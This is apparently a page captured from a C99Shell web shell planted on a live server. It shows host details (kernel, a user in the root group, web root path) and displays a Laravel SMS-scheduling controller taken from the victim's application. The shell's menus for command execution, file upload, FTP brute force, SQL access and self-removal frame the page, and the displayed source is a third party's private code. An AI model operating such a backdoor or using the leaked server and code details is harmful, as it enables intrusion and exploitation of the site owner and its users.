!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ScheduleController.php (9.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Events\ProcessSendFailEvent;
use 
App\Events\SendMail;
use 
App\Models\Contact;
use 
App\Models\CustomerPlan;
use 
App\Models\DynamicGateway;
use 
App\Models\Message;
use 
App\Models\MessageReport;
use 
App\Models\Number;
use 
App\Models\SenderId;
use 
App\Models\SentFail;
use 
App\Models\SmsQueue;
use 
App\Models\Campaign;
use 
App\Models\WhatsAppNumber;
use 
App\SmsProvider\SendSMS;
use 
App\SmsProvider\SmppBuilder;
use 
App\WhatsAppProvider\SendMessageProcess;
use 
GuzzleHttp\Client;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
ScheduleController extends Controller
{
    public function 
process()
    {

        
//TODO:: check exception table for sending sms
        
$totalNewQueueCount env('SCHEDULE_QUEUE_COUNT',40);
        
$today now()->format('l');
        
$time now()->toTimeString();

        
$sendingServersNotNull DynamicGateway::whereStatus('active')->where('offdays''not like'"%$today%")
            ->
whereNotNull('start_time')
            ->
whereNotNull('end_time')
            ->
whereTime('start_time''<='$time)
            ->
whereTime('end_time''>='$time)
            ->
get();

        
$sendingServersNull DynamicGateway::whereStatus('active')->where('offdays''not like'"%$today%")
            ->
whereNull('start_time')
            ->
whereNull('end_time')
            ->
get();

        
$sendingServers=$sendingServersNotNull->merge($sendingServersNull);


        if (
$sendingServers->isEmpty()) {
            
$this->debugExit("No available servers");
        }

        
#region Minute Limit Check
            
$minuteEmailQueue SmsQueue::selectRaw("count(*) as total,dynamic_gateway_id")
                ->
where('schedule_completed''yes')
                ->
whereBetween('schedule_datetime', [now()->subMinute(), now()])
                ->
whereIn('dynamic_gateway_id'$sendingServers->pluck('id')->toArray())
                ->
groupBy('dynamic_gateway_id')
                ->
pluck('total''dynamic_gateway_id')
                ->
all();

            
$availableMinutelySendingServerIds = [];
            foreach (
$sendingServers as $sendingServer) {
                if (isset(
$minuteEmailQueue[$sendingServer->id])) {
                    
$totalUsed $minuteEmailQueue[$sendingServer->id] + $totalNewQueueCount// count new queue ;
                    
if ($sendingServer->send_limit && ($sendingServer->minute_limit $sendingServer->send_limit) > $totalUsed) {
                        
$availableMinutelySendingServerIds[] = $sendingServer->id;
                    }
                } else {
                    
$availableMinutelySendingServerIds[] = $sendingServer->id;
                }
            }
            if (empty(
$availableMinutelySendingServerIds)) {
                
$this->debugExit("No available sending servers (minute limit)");
            }
        
#endregion

        #region Daily Limit Check
            
$dailyEmailQueue SmsQueue::selectRaw("count(*) as total,dynamic_gateway_id")
                ->
where('schedule_completed''yes')
                ->
whereIn('dynamic_gateway_id'$availableMinutelySendingServerIds)
                ->
whereBetween('schedule_datetime', [now()->subDay(), now()])
                ->
groupBy('dynamic_gateway_id')
                ->
pluck('total''dynamic_gateway_id')
                ->
all();

            
$availableDailySendingServerIds = [];
            foreach (
$sendingServers as $sendingServer) {
                if (isset(
$dailyEmailQueue[$sendingServer->id])) {
                    
$totalUsed $dailyEmailQueue[$sendingServer->id] + $totalNewQueueCount// count new queue ;
                    
if ($sendingServer->daily_limit $totalUsed) {
                        
$availableDailySendingServerIds[] = $sendingServer->id;
                    }
                } else {
                    
$availableDailySendingServerIds[] = $sendingServer->id;
                }
            }
            if (empty(
$availableDailySendingServerIds)) {
                
$this->debugExit("No available sending servers (daily limit)");
            }
        
#endregion

        #region Monthly Limit Check
        
$monthlyEmailQueue SmsQueue::selectRaw("count(*) as total,dynamic_gateway_id")
            ->
where('schedule_completed''yes')
            ->
whereIn('dynamic_gateway_id'$availableDailySendingServerIds)
            ->
whereBetween('schedule_datetime', [now()->subMonth(), now()])
            ->
groupBy('dynamic_gateway_id')
            ->
pluck('total''dynamic_gateway_id')
            ->
all();

        
$availableSendingServerIds = [];
        foreach (
$sendingServers as $sendingServer) {
            if (isset(
$monthlyEmailQueue[$sendingServer->id])) {
                
$totalUsed $monthlyEmailQueue[$sendingServer->id] + $totalNewQueueCount// count new queue ;
                
if ($sendingServer->monthly_limit $totalUsed) {
                    
$availableSendingServerIds[] = $sendingServer->id;
                }
            } else {
                
$availableSendingServerIds[] = $sendingServer->id;
            }
        }
        if (empty(
$availableSendingServerIds)) {
            
$this->debugExit("No available sending servers (monthly limit)");
        }
        
#endregion


        
$sendFailed = [];
        
$allNumbers = [];
        
$queueIds = [];
        
$dynamic_gateway_ids=[];
        
$messageBody = [];
        
$smppMessages=[];
        
$message_report=[];

        
$messages SmsQueue::whereIn('dynamic_gateway_id'$availableSendingServerIds)
            ->
where(['schedule_completed' => 'no'])
            ->
whereNotNull('schedule_datetime')
            ->
whereNull('delivered_at')
            ->
where('schedule_datetime''<'now())
            ->
where('status','running')
            ->
orderBy('schedule_datetime')
            ->
limit($totalNewQueueCount)
            ->
get();



        foreach (
$messages as $message) {
            
$queueIds[]=$message->id;
            
$dynamic_gateway_ids[]=$message->dynamic_gateway_id;
        }
        
$dynamicGateways=DynamicGateway::whereIn('id',$dynamic_gateway_ids)->pluck('gateway_prefill_id','id');
        if (empty(
$dynamicGateways)) {
            
$this->debugExit("No available dynamic gateway (from sms_queue)");
        }

         
SmsQueue::whereIn('id'$queueIds)->update(['schedule_completed'=>'yes']);

        foreach (
$messages as $message) {
            
$allNumbers[]=$message->to;
            
$messageBody[$message->to][] = $message->body;

            
//Manage Wallet
            // $wallet = $message->user->wallet()->first();


            
$to_number explode(':'$message->to);

            if (isset(
$to_number[0]) && $to_number[0]=='whatsapp' && isset($to_number[1])){
                
$to $to_number[1];
            }else {
                
$to $message->to;
            }

            if(
$dynamicGateways[$message->dynamic_gateway_id]==22){
                
$smppMessages[$message->dynamic_gateway_id][]=$message;
            }else{
                
$sendSMS = new SendSMS();
                
$sendSMS->setMessage($message)
                    ->
setType('sent')
                    ->
process();
                
$sendFailed[] = $sendSMS->get_failed_sms();
            }

            
$message_report[]=[
                
'customer_id'=>$message->customer_id,
                
'type'=>$message->from_type,
                
'sent_type'=>'sent',
                
'from'=>$message->from,
                
'to'=>$message->to,
                
'ref_id'=>$message->id,
                
'created_at'=>now(),
                
'updated_at'=>now(),
            ];

        } 
// end messages loop
        
$dlt_template_ids = [];
        
$entity_ids = [];
        
$all_data = [];
        if(
$smppMessages){
            foreach(
$smppMessages as $key=>$smppMessage){
                foreach (
$smppMessage as  $value) {
                    
$decodedValue json_decode($value->sms_gateway_value);
                    if (
$decodedValue) {
                        
$dlt_template_ids[$value->id][] = $decodedValue->dlt_template_id ?? null;
                        
$entity_ids[$value->id][] = $decodedValue->entity_id ?? null;
                    }
                }
                
$all_data = [
                    
'dlt_template_id' => $dlt_template_ids,
                    
'entity_id' => $entity_ids,
                ];
                
$smpp=new SmppBuilder();
                
$smpp->setRequest($all_data)->setGateway($key)->setMessages($smppMessage)->setType('sent')->sendMessage();
                
$sendFailed[]=$smpp->get_failed_sms();
            }
        }
        if(
$message_report){
            
DB::table('message_reports')->insert($message_report);
        }

        
$sendFailed=call_user_func_array('array_merge'$sendFailed);
        if(
$sendFailed){
            
ProcessSendFailEvent::dispatch($sendFailed);
            
$failedNumber collect($sendFailed)->pluck('to');
            
//Send Mail
            
try {
                
$contacts Contact::whereIn('number'$allNumbers)->whereNotIn('number'$failedNumber)->get();
                foreach (
$contacts as $contact) {
                    foreach (
$messageBody[$contact->number] as $msg) {
                        if (
$contact->email && $contact->email_notification=='true') {
                            
SendMail::dispatch($contact->email'New Message'$msg);
                        }
                    }
                }

            } catch (
\Exception $ex) {
                
Log::error($ex->getMessage());
            }
        }
    }
    public function 
processEmail(){
        
Artisan::call("queue:work",['--stop-when-empty'=>true]);
    }
    public function 
processDbBackup(Request $request){
        
Artisan::call("db:backup");

        if(
$request->redrct && $request->redrct=='page'){
            return 
redirect()->back()->with('success''DB Back Successfully Create');
        }
    }

    protected function 
debugExit($message)
    {
        if (
config('app.debug')) {
            
Log::info($message);
        }
        
dd($message);
    }}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--